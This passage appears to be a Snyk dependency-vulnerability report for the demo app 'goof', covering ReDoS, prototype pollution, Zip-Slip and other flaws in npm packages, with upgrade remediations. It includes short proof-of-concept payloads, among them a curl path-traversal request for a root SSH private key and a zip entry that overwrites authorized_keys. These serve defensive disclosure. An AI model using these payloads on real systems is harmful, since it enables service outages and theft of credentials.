Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade mongodb
to version 3.1.13 or higher.
References
high severity
- Vulnerable module: mquery
- Introduced through: mongoose@4.2.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › mongoose@4.2.4 › mquery@1.6.3Remediation: Upgrade to mongoose@5.12.3.
Overview
mquery is an Expressive query building for MongoDB
Affected versions of this package are vulnerable to Prototype Pollution via the mergeClone()
function.
PoC by zhou, peng
mquery = require('mquery');
var malicious_payload = '{"__proto__":{"polluted":"HACKED"}}';
console.log('Before:', {}.polluted); // undefined
mquery.utils.mergeClone({}, JSON.parse(malicious_payload));
console.log('After:', {}.polluted); // HACKED
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade mquery
to version 3.2.5 or higher.
References
high severity
- Vulnerable module: negotiator
- Introduced through: errorhandler@1.2.0, express@4.12.4 and others
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › errorhandler@1.2.0 › accepts@1.1.4 › negotiator@0.4.9Remediation: Upgrade to errorhandler@1.4.3.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › accepts@1.2.13 › negotiator@0.5.3Remediation: Upgrade to express@4.14.0.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › st@0.2.4 › negotiator@0.2.8Remediation: Upgrade to st@1.1.0.
Overview
negotiator is an HTTP content negotiator for Node.js.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS)
when parsing Accept-Language
http header.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade negotiator
to version 0.6.1 or higher.
References
high severity
- Vulnerable module: qs
- Introduced through: body-parser@1.9.0 and express@4.12.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › body-parser@1.9.0 › qs@2.2.4Remediation: Upgrade to body-parser@1.17.1.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › qs@2.4.2Remediation: Upgrade to express@4.15.2.
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Prototype Override Protection Bypass. By default qs
protects against attacks that attempt to overwrite an object's existing prototype properties, such as toString()
, hasOwnProperty()
,etc.
From qs
documentation:
By default parameters that would overwrite properties on the object prototype are ignored, if you wish to keep the data from those fields either use plainObjects as mentioned above, or set allowPrototypes to true which will allow user input to overwrite those properties. WARNING It is generally a bad idea to enable this option as it can cause problems when attempting to use the properties that have been overwritten. Always be careful with this option.
Overwriting these properties can impact application logic, potentially allowing attackers to work around security controls, modify data, make the application unstable and more.
In versions of the package affected by this vulnerability, it is possible to circumvent this protection and overwrite prototype properties and functions by prefixing the name of the parameter with [
or ]
. e.g. qs.parse("]=toString")
will return {toString = true}
, as a result, calling toString()
on the object will throw an exception.
Example:
qs.parse('toString=foo', { allowPrototypes: false })
// {}
qs.parse("]=toString", { allowPrototypes: false })
// {toString = true} <== prototype overwritten
For more information, you can check out our blog.
Disclosure Timeline
- February 13th, 2017 - Reported the issue to package owner.
- February 13th, 2017 - Issue acknowledged by package owner.
- February 16th, 2017 - Partial fix released in versions
6.0.3
,6.1.1
,6.2.2
,6.3.1
. - March 6th, 2017 - Final fix released in versions
6.4.0
,6.3.2
,6.2.3
,6.1.2
and6.0.4
Remediation
Upgrade qs
to version 6.0.4, 6.1.2, 6.2.3, 6.3.2 or higher.
References
high severity
- Vulnerable module: qs
- Introduced through: body-parser@1.9.0 and express@4.12.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › body-parser@1.9.0 › qs@2.2.4Remediation: Upgrade to body-parser@1.19.2.
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › express@4.12.4 › qs@2.4.2Remediation: Upgrade to express@4.17.3.
Overview
qs is a querystring parser that supports nesting and arrays, with a depth limit.
Affected versions of this package are vulnerable to Prototype Poisoning which allows attackers to cause a Node process to hang, processing an Array object whose prototype has been replaced by one with an excessive length value.
Note: In many typical Express use cases, an unauthenticated remote attacker can place the attack payload in the query string of the URL that is used to visit the application, such as a[__proto__]=b&a[__proto__]&a[length]=100000000
.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
ws
package
Remediation
Upgrade qs
to version 6.2.4, 6.3.3, 6.4.1, 6.5.3, 6.6.1, 6.7.3, 6.8.3, 6.9.7, 6.10.3 or higher.
References
high severity
- Vulnerable module: semver
- Introduced through: npmconf@0.0.24
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › npmconf@0.0.24 › semver@1.1.4
Overview
semver is a semantic version parser used by npm.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range
, when untrusted user data is provided as a range.
PoC
const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})
const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade semver
to version 5.7.2, 6.3.1, 7.5.2 or higher.
References
high severity
- Vulnerable module: unset-value
- Introduced through: tap@11.1.5
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › micromatch@3.1.10 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › micromatch@3.1.10 › braces@2.3.2 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › micromatch@3.1.10 › extglob@2.0.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › micromatch@3.1.10 › nanomatch@1.2.13 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › tap@11.1.5 › nyc@11.9.0 › micromatch@3.1.10 › extglob@2.0.4 › expand-brackets@2.1.4 › snapdragon@0.8.2 › base@0.11.2 › cache-base@1.0.1 › unset-value@1.0.0
Overview
Affected versions of this package are vulnerable to Prototype Pollution via the unset
function in index.js
, because it allows access to object prototype properties.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade unset-value
to version 2.0.1 or higher.
References
high severity
- Vulnerable module: adm-zip
- Introduced through: adm-zip@0.4.7
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › adm-zip@0.4.7Remediation: Upgrade to adm-zip@0.5.2.
Overview
adm-zip is a JavaScript implementation for zip data compression for NodeJS.
Affected versions of this package are vulnerable to Directory Traversal. It could extract files outside the target folder.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st
is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public
route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e
is the URL encoded version of .
(dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip
.
One way to achieve this is by using a malicious zip
archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip
archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/
overwriting the authorized_keys
file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade adm-zip
to version 0.5.2 or higher.
References
high severity
- Vulnerable module: npmconf
- Introduced through: npmconf@0.0.24
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › npmconf@0.0.24Remediation: Upgrade to npmconf@2.1.3.
Overview
npmconf is a package to reintegrate directly into npm.
Affected versions of this package are vulnerable to Uninitialized Memory Exposure. It allocates and writes to disk uninitialized memory content when a typed number is passed as input.
Note npmconf
is deprecated and should not be used.
Note This is vulnerable only for Node <=4
Details
The Buffer class on Node.js is a mutable array of binary data, and can be initialized with a string, array or number.
const buf1 = new Buffer([1,2,3]);
// creates a buffer containing [01, 02, 03]
const buf2 = new Buffer('test');
// creates a buffer containing ASCII bytes [74, 65, 73, 74]
const buf3 = new Buffer(10);
// creates a buffer of length 10
The first two variants simply create a binary representation of the value it received. The last one, however, pre-allocates a buffer of the specified size, making it a useful buffer, especially when reading data from a stream.
When using the number constructor of Buffer, it will allocate the memory, but will not fill it with zeros. Instead, the allocated buffer will hold whatever was in memory at the time. If the buffer is not zeroed
by using buf.fill(0)
, it may leak sensitive information like keys, source code, and system info.
Remediation
Upgrade npmconf
to version 2.1.3 or higher.
References
high severity
- Vulnerable module: ini
- Introduced through: npmconf@0.0.24
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › npmconf@0.0.24 › ini@1.1.0Remediation: Upgrade to npmconf@1.0.1.
Overview
ini is an An ini encoder/decoder for node
Affected versions of this package are vulnerable to Prototype Pollution. If an attacker submits a malicious INI file to an application that parses it with ini.parse
, they will pollute the prototype on the application. This can be exploited further depending on the context.
PoC by Eugene Lim
payload.ini
[__proto__]
polluted = "polluted"
poc.js:
var fs = require('fs')
var ini = require('ini')
var parsed = ini.parse(fs.readFileSync('./payload.ini', 'utf-8'))
console.log(parsed)
console.log(parsed.__proto__)
console.log(polluted)
> node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade ini
to version 1.3.6 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: lodash@4.17.4
Detailed paths
-
Introduced through: goof@snyk/goof#d240896711e31c540fc1cab79ae2e4cf63f00b1a › lodash@4.17.4Remediation: Upgrade to lodash@4.17.12.
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep
could be tricked into adding or modifying properties of Object.prototype
using a constructor
payload.
PoC by Snyk
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
For more information, check out our blog post
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
